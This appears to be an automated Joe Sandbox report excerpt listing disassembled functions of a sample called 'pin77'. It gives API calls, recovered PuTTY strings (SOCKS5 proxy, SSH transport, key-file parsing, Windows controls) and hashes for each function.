                                                                                                                                                    • SOCKS 5 authentication cannot support usernames longer than 255 chars, xrefs: 00360BED
                                                                                                                                                    • network unreachable, xrefs: 003608C5
                                                                                                                                                    • SOCKS 5 server rejected our password, xrefs: 00360B23
                                                                                                                                                    • Proxy password: , xrefs: 00360996
                                                                                                                                                    • address type not supported, xrefs: 003608E8
                                                                                                                                                    • SOCKS proxy failed to connect, error %d (%s), xrefs: 003608EF
                                                                                                                                                    • unspecified failure, xrefs: 00360636
                                                                                                                                                    • TTL expired, xrefs: 003608DA
                                                                                                                                                    • SOCKS 5 CHAP authentication failed, xrefs: 00360CF8
                                                                                                                                                    • SOCKS proxy authentication, xrefs: 00360888
                                                                                                                                                    • socks5_chap_available, xrefs: 00360B67
                                                                                                                                                    • SOCKS server rejected every authentication method we offered, xrefs: 00360835
                                                                                                                                                    • Username and IDENTD on client don't agree, xrefs: 0036047A
                                                                                                                                                    • false && "Unexpected addrtype in SOCKS 5 proxy", xrefs: 00360E62
                                                                                                                                                    • SOCKS proxy response included unknown address type %d, xrefs: 00360930
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/proxy/socks5.c$Proxy password: $Proxy username: $SOCKS 5 CHAP authentication cannot support usernames longer than 255 chars$SOCKS 5 CHAP authentication failed$SOCKS 5 CHAP reply had version number %d (expected %d)$SOCKS 5 CHAP reply sent no attributes$SOCKS 5 authentication cannot support passwords longer than 255 chars$SOCKS 5 authentication cannot support usernames longer than 255 chars$SOCKS 5 cannot support host names longer than 255 chars$SOCKS 5 password reply had version number %d (expected %d)$SOCKS 5 server rejected our password$SOCKS proxy authentication$SOCKS proxy failed to connect, error %d (%s)$SOCKS proxy response contained reply version number %d (expected 0)$SOCKS proxy response included unknown address type %d$SOCKS proxy returned unexpected reply version %d (expected %d)$SOCKS server asked for auth method %d (%s), which we did not offer$SOCKS server rejected every authentication method we offered$SOCKS server reported failure to connect$SOCKS server sent unrecognised error code %d$SOCKS server wanted IDENTD on client$SOCKS version 4 does not support IPv6$TTL expired$Username and IDENTD on client don't agree$address type not supported$command not supported$connection not allowed by ruleset$connection refused$false && "Unexpected addrtype in SOCKS 5 proxy"$false && "bad auth method in SOCKS 5 negotiation"$host unreachable$network unreachable$socks5_chap_available$unknown$unspecified failure
                                                                                                                                                    • API String ID: 0-1022632183
                                                                                                                                                    • Opcode ID: 806d3e14ecaeffbe60b799e24d986ec3964d46f68da8f84152d9c7692467f8af
                                                                                                                                                    • Instruction ID: c2238ca1db6cb24a8d4b3ab390f007219e395565614a24174c90a0d761c5c587
                                                                                                                                                    • Opcode Fuzzy Hash: 806d3e14ecaeffbe60b799e24d986ec3964d46f68da8f84152d9c7692467f8af
                                                                                                                                                    • Instruction Fuzzy Hash: E95218B5900210AFDB279B10FC47FAB77A4AF11304F088525F9499F297E771D964CBA2
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0034D650 Relevance: 67.3, APIs: 1, Strings: 36, Instructions: 2535COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/ssh/transport2.c$Client requested service '%.*s' when we only support '%s'$Couldn't agree a %s (available: %.*s)$Initiating key re-exchange (%s)$KEXINIT packet was incomplete$Received unexpected packet when expecting KEXINIT, type %d (%s)$Received unexpected packet when expecting SERVICE_REQUEST, type %d (%s)$Received unexpected packet when expecting SSH_MSG_NEWKEYS, type %d (%s)$Received unexpected transport-layer packet outside a key exchange, type %d (%s)$Remote bug prevents key re-exchange (%s)$Remote side initiated key re-exchange$Selected %s "%.*s" does not correspond to any supported algorithm$Server refused request to start '%s' protocol$Xv<$\/=$`q<$cipher warning$client-to-server cipher$ext-info-c$ext-info-s$hk_prev$host key type$host key warning$kex warning$key-exchange algorithm$none$null$populating transient host key cache$s->session_id_len <= sizeof(s->session_id)$server-sig-algs$server-to-client cipher$too much data received$too much data sent$xF<$xF<$|q<
                                                                                                                                                    • API String ID: 0-2231112986
                                                                                                                                                    • Opcode ID: 163b8e965e77b1c42e411beb5a14b13d67f55c08bdc63241763597984b7524fe
                                                                                                                                                    • Instruction ID: df4d862194b28f5a93e4115ecaed647f3dbe829f65d47c6f257b25e513ea1cca
                                                                                                                                                    • Opcode Fuzzy Hash: 163b8e965e77b1c42e411beb5a14b13d67f55c08bdc63241763597984b7524fe
                                                                                                                                                    • Instruction Fuzzy Hash: 9A23E175A04341AFD716DF24D845BAABBE5BF85304F098469E8898F362D772FC14CB82
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F5489 Relevance: 57.4, APIs: 38, Instructions: 390windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • CreateFontA.GDI32(00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001), ref: 002F54E5
                                                                                                                                                    • SelectObject.GDI32(?,00000000), ref: 002F54F2
                                                                                                                                                    • GetTextMetricsA.GDI32(?,?), ref: 002F5501
                                                                                                                                                    • GetOutlineTextMetricsA.GDI32(?,000000D4,?), ref: 002F5512
                                                                                                                                                    • GetObjectA.GDI32(0000003C,003F1D88), ref: 002F5552
                                                                                                                                                    • TranslateCharsetInfo.GDI32(?,FFFFFFFF,00000001), ref: 002F562B
                                                                                                                                                    • GetOEMCP.KERNEL32 ref: 002F5642
                                                                                                                                                    • GetCPInfo.KERNEL32(00000000,?), ref: 002F5661
                                                                                                                                                    • CreateFontA.GDI32(00000000,00000000,?,00000000,00000001,00000000,?,00000000,00000000,00000000,00000001,00000000), ref: 002F56BD
                                                                                                                                                    • CreateCompatibleDC.GDI32 ref: 002F56C9
                                                                                                                                                    • CreateCompatibleBitmap.GDI32 ref: 002F56E2
                                                                                                                                                    • SelectObject.GDI32(00000000,00000000), ref: 002F56F2
                                                                                                                                                    • SelectObject.GDI32(00000000), ref: 002F56FD
                                                                                                                                                    • SetTextAlign.GDI32(00000000,00000000), ref: 002F5702
                                                                                                                                                    • SetTextColor.GDI32(00000000,00FFFFFF), ref: 002F570E
                                                                                                                                                    • SetBkColor.GDI32(00000000,00000000), ref: 002F5717
                                                                                                                                                    • SetBkMode.GDI32(00000000,00000002), ref: 002F5720
                                                                                                                                                    • ExtTextOutA.GDI32(00000000,00000000,00000000,00000002,00000000,003E098A,00000001,00000000), ref: 002F5738
                                                                                                                                                    • GetPixel.GDI32(00000000,?,00000000), ref: 002F5771
                                                                                                                                                    • SelectObject.GDI32(00000000,00000000), ref: 002F578F
                                                                                                                                                    • DeleteObject.GDI32(00000000), ref: 002F5799
                                                                                                                                                    • DeleteDC.GDI32(00000000), ref: 002F57A0
                                                                                                                                                    • DeleteObject.GDI32 ref: 002F57D6
                                                                                                                                                    • CreateFontA.GDI32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000000), ref: 002F583E
                                                                                                                                                    • SelectObject.GDI32(00000000,?), ref: 002F5877
                                                                                                                                                    • GetTextMetricsA.GDI32(00000000,?), ref: 002F588A
                                                                                                                                                    • SelectObject.GDI32(00000000,?), ref: 002F58BE
                                                                                                                                                    • GetTextMetricsA.GDI32(00000000,?), ref: 002F58D1
                                                                                                                                                    • SelectObject.GDI32(00000000,?), ref: 002F5905
                                                                                                                                                    • GetTextMetricsA.GDI32(00000000,?), ref: 002F5918
                                                                                                                                                    • ReleaseDC.USER32 ref: 002F5943
                                                                                                                                                    • DestroyIcon.USER32(FFFFFFFF,?,?,?,00000000,00000001,00000000,?,00000000,00000000,00000000,00000001,00000000), ref: 002F5954
                                                                                                                                                    • LoadImageA.USER32 ref: 002F5977
                                                                                                                                                    • DeleteObject.GDI32 ref: 002F5993
                                                                                                                                                    • DeleteObject.GDI32 ref: 002F59C0
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Object$Text$Select$CreateDeleteMetrics$Font$ColorCompatibleInfo$AlignBitmapCharsetDestroyIconImageLoadModeOutlinePixelReleaseTranslate
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3464282134-0
                                                                                                                                                    • Opcode ID: 98b3c71d58a7f90785140d3e2a68e2f53f45ae8d2d110957f2358292c5b63ed6
                                                                                                                                                    • Instruction ID: f972a87ba604c529239d1ba9cda1d4115f5f3c89b63d22c0ad6afc416762bab4
                                                                                                                                                    • Opcode Fuzzy Hash: 98b3c71d58a7f90785140d3e2a68e2f53f45ae8d2d110957f2358292c5b63ed6
                                                                                                                                                    • Instruction Fuzzy Hash: BCE1E030214345EFE3329F25EC89B7ABBADEB44751F104228F71A9A2E1DB71A844CF51
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00352620 Relevance: 56.7, APIs: 2, Strings: 30, Instructions: 746COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen
                                                                                                                                                    • String ID: %02x$Argon2-Memory$Argon2-Parallelism$Argon2-Passes$Argon2-Salt$Argon2d$Argon2i$Argon2id$Comm$DJ<$Encryption$Key-Derivation$MAC failed$Private-Hash$Private-Lines$Private-MAC$PuTTY key format too new$PuTTY-User-Key-File-$PuTTY-User-Key-File-1$PuTTY-User-Key-File-2$PuTTY-User-Key-File-3$Public-Lines$aes256-cbc$createkey failed$ent$file format error$no header line found in key file$none$not a PuTTY SSH-2 private key$wrong passphrase
                                                                                                                                                    • API String ID: 4218353326-1784847490
                                                                                                                                                    • Opcode ID: 2cc013bd249f2a89481130157f35e9ab02ee738e43b8c924a7fc21db31e041e5
                                                                                                                                                    • Instruction ID: 489839f61426baf8857f9ce0f68ac2c9445002f14b93ce71cfa2a5b09ab183f0
                                                                                                                                                    • Opcode Fuzzy Hash: 2cc013bd249f2a89481130157f35e9ab02ee738e43b8c924a7fc21db31e041e5
                                                                                                                                                    • Instruction Fuzzy Hash: 3942D2719043005BD723AB209842FAB77E5AF86305F09482DFD899B3A2EB75D91DC793
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00310660 Relevance: 54.1, APIs: 12, Strings: 18, Instructions: 1584COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen
                                                                                                                                                    • String ID: !ctrl->delay_taborder$!dp->shortcuts[s]$(ctrl->columns.ncols == 1) ^ (ncols == 1)$/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$BUTTON$COMBOBOX$EDIT$LISTBOX$STATIC$false && "bad control type in winctrl_layout"$i < ntabdelays$ncols <= lenof(columns)$nshortcuts < MAX_SHORTCUTS_PER_CTRL$ntabdelays < lenof(tabdelays)$ret == c$thisc$ud$win
                                                                                                                                                    • API String ID: 4218353326-3405042439
                                                                                                                                                    • Opcode ID: c44595c64454b69bda07e8056361017485d5d6c6786e10b8bb73423c32b3e55e
                                                                                                                                                    • Instruction ID: 5affddb770b92667dcb6c1c5cf850d8cce2325d29e9331b42678c557598e62d7
                                                                                                                                                    • Opcode Fuzzy Hash: c44595c64454b69bda07e8056361017485d5d6c6786e10b8bb73423c32b3e55e
                                                                                                                                                    • Instruction Fuzzy Hash: 84C2E271608301AFD726CF15CC81BABB7E5AF88704F05492DF9859B391E7B1E994CB82
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00353680 Relevance: 47.9, APIs: 6, Strings: 21, Instructions: 668COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • PuTTY-User-Key-File-1, xrefs: 00353AAD
                                                                                                                                                    • PuTTY key format too new, xrefs: 00353AD5
                                                                                                                                                    • ---- BEGIN SSH2 PUBLIC KEY ----, xrefs: 003536E4
                                                                                                                                                    • PuTTY-User-Key-File-, xrefs: 00353AC5
                                                                                                                                                    • Comm, xrefs: 00353D7C
                                                                                                                                                    • PuTTY-User-Key-File-2, xrefs: 00353A99
                                                                                                                                                    • PuTTY-User-Key-File-3, xrefs: 00353A81
                                                                                                                                                    • Subject, xrefs: 003538D1
                                                                                                                                                    • not a public key or a PuTTY SSH-2 private key, xrefs: 00353807, 00353ADA
                                                                                                                                                    • %.*s, xrefs: 00353DF0
                                                                                                                                                    • file format error, xrefs: 00353B27
                                                                                                                                                    • ---- END SSH2 PUBLIC KEY ----, xrefs: 00353C94
                                                                                                                                                    • Encryption, xrefs: 00353D33
                                                                                                                                                    • pubbloblen + 3 <= pubblobsize, xrefs: 003539D9
                                                                                                                                                    • no key blob in OpenSSH public key file, xrefs: 00353813
                                                                                                                                                    • Public-Lines, xrefs: 00353E5D
                                                                                                                                                    • Comment, xrefs: 003538BF
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/sshpubk.c, xrefs: 003539D4
                                                                                                                                                    • key algorithms do not match in OpenSSH public key file, xrefs: 00353A30
                                                                                                                                                    • invalid length for base64 data in OpenSSH public key file, xrefs: 003537F4
                                                                                                                                                    • ent, xrefs: 00353D85
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen$___from_strstr_to_strchr
                                                                                                                                                    • String ID: %.*s$---- BEGIN SSH2 PUBLIC KEY ----$---- END SSH2 PUBLIC KEY ----$/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/sshpubk.c$Comm$Comment$Encryption$PuTTY key format too new$PuTTY-User-Key-File-$PuTTY-User-Key-File-1$PuTTY-User-Key-File-2$PuTTY-User-Key-File-3$Public-Lines$Subject$ent$file format error$invalid length for base64 data in OpenSSH public key file$key algorithms do not match in OpenSSH public key file$no key blob in OpenSSH public key file$not a public key or a PuTTY SSH-2 private key$pubbloblen + 3 <= pubblobsize
                                                                                                                                                    • API String ID: 3974054854-989326563
                                                                                                                                                    • Opcode ID: 6b2bf15adeb9906342699015f95a7cb30d4b62aa6b0f511879d25212964aded6
                                                                                                                                                    • Instruction ID: 918ff998705e2f51eb02a512c8d9de42237b10b45c4010fe860b511082536241
                                                                                                                                                    • Opcode Fuzzy Hash: 6b2bf15adeb9906342699015f95a7cb30d4b62aa6b0f511879d25212964aded6
                                                                                                                                                    • Instruction Fuzzy Hash: 3722F6F6A043105BD723AB61AC42F2B77995F50385F0A0828FC859B362F765EE1CC792
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F88D0 Relevance: 43.1, APIs: 23, Strings: 1, Instructions: 1097COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Color$ModeObjectSelectText
                                                                                                                                                    • String ID: $
                                                                                                                                                    • API String ID: 3594386986-3993045852
                                                                                                                                                    • Opcode ID: 54b411036e91530de9b2e9f2b226cbfb036d3417dd00246db80d996006b028ce
                                                                                                                                                    • Instruction ID: f545a7564afc6f76ed3c713618a2e635bddbf66fa8db97201c6230a87ea7e177
                                                                                                                                                    • Opcode Fuzzy Hash: 54b411036e91530de9b2e9f2b226cbfb036d3417dd00246db80d996006b028ce
                                                                                                                                                    • Instruction Fuzzy Hash: 73920E7161830ADFDB258F14D881B7AF7E5FB84340F05853DFA899B2A0DB7598A4CB42
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00326250 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 267networkCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • socket.WS2_32(00000002,00000001,00000000), ref: 003262F6
                                                                                                                                                    • SetHandleInformation.KERNEL32(00000000,00000001,00000000), ref: 0032630F
                                                                                                                                                    • _strncpy.LIBCMT ref: 00326330
                                                                                                                                                    • setsockopt.WS2_32(00000000,0000FFFF,000000FB,00000001,00000004), ref: 0032635D
                                                                                                                                                    • getaddrinfo.WS2_32(00000000,00000000,00000001,?), ref: 003264D3
                                                                                                                                                    • htons.WS2_32(?), ref: 00326528
                                                                                                                                                    • bind.WS2_32(00000000,00000001,00000010), ref: 00326565
                                                                                                                                                    • listen.WS2_32(00000000,7FFFFFFF), ref: 00326576
                                                                                                                                                    • closesocket.WS2_32(00000000), ref: 00326593
                                                                                                                                                    • WSAGetLastError.WS2_32 ref: 003265BA
                                                                                                                                                    Strings
                                                                                                                                                    • false && "bad address family in sk_newlistener_internal", xrefs: 00326654
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/network.c, xrefs: 0032664F
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ErrorHandleInformationLast_strncpybindclosesocketgetaddrinfohtonslistensetsockoptsocket
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/network.c$false && "bad address family in sk_newlistener_internal"
                                                                                                                                                    • API String ID: 1644184481-952207300
                                                                                                                                                    • Opcode ID: 4b5766120643e4a00a4410c5ce0eca1c30e22618cc024e387a4629dbd9f5721e
                                                                                                                                                    • Instruction ID: d4a0bcc8a74530d2b842eac7ef0528e1b080096288fc63db94cada46ff7d36ea
                                                                                                                                                    • Opcode Fuzzy Hash: 4b5766120643e4a00a4410c5ce0eca1c30e22618cc024e387a4629dbd9f5721e
                                                                                                                                                    • Instruction Fuzzy Hash: 9CB16FB0508350DFE3269F24E84AB6BBBE8FF85314F15491CF5898B2E1D7759848CB52
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003150A0 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 287COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 00339440: GetLocalTime.KERNEL32(?,?,?,?,00314A24,?), ref: 00339456
                                                                                                                                                    • _strftime.LIBCMT ref: 003150F9
                                                                                                                                                      • Part of subcall function 00315470: _strlen.LIBCMT ref: 0031549D
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: LocalTime_strftime_strlen
                                                                                                                                                    • String ID: %08zx%*s$ (%zu byte%s omitted)$ (%s)$ on behalf of downstream #%u$#0x%lx, $%02x$%Y-%m-%d %H:%M:%S$%s packet $%s raw data at %s$Incoming$Outgoing$XX$type %d / 0x%02x (%s)
                                                                                                                                                    • API String ID: 4241967358-2889948183
                                                                                                                                                    • Opcode ID: 7cbe7c0dc39a11c5830536ee65f7af638dc8e4871e4b23c73e489f9b9daf330a
                                                                                                                                                    • Instruction ID: 08ac2ad718bb1876bbd917a82c5e56b3951b1d576001fc86dcb2e2b51d1f89b2
                                                                                                                                                    • Opcode Fuzzy Hash: 7cbe7c0dc39a11c5830536ee65f7af638dc8e4871e4b23c73e489f9b9daf330a
                                                                                                                                                    • Instruction Fuzzy Hash: F0A11875608740EBC72AAB15D881BFFB3E5EFD9305F45482DE88987341EA719C85C742
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030E0F0 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 262windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • SetWindowTextA.USER32(?,00000000), ref: 0030E137
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,000003E9,00000192,00000002,003F0020), ref: 0030E158
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,000003E9,00000180,00000000), ref: 0030E184
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,000003E9,00000180,00000000), ref: 0030E1DB
                                                                                                                                                    • GetParent.USER32(?), ref: 0030E202
                                                                                                                                                    • SetActiveWindow.USER32(00000000), ref: 0030E209
                                                                                                                                                    • DestroyWindow.USER32(?), ref: 0030E210
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,000003E9,00000190,00000000,00000000), ref: 0030E24F
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,000003E9,00000191,00000000,00000000), ref: 0030E27F
                                                                                                                                                    • _strlen.LIBCMT ref: 0030E2C6
                                                                                                                                                    • MessageBeep.USER32(00000000), ref: 0030E2F5
                                                                                                                                                    • _strlen.LIBCMT ref: 0030E35E
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,000003E9,00000185,00000000,00000000), ref: 0030E431
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
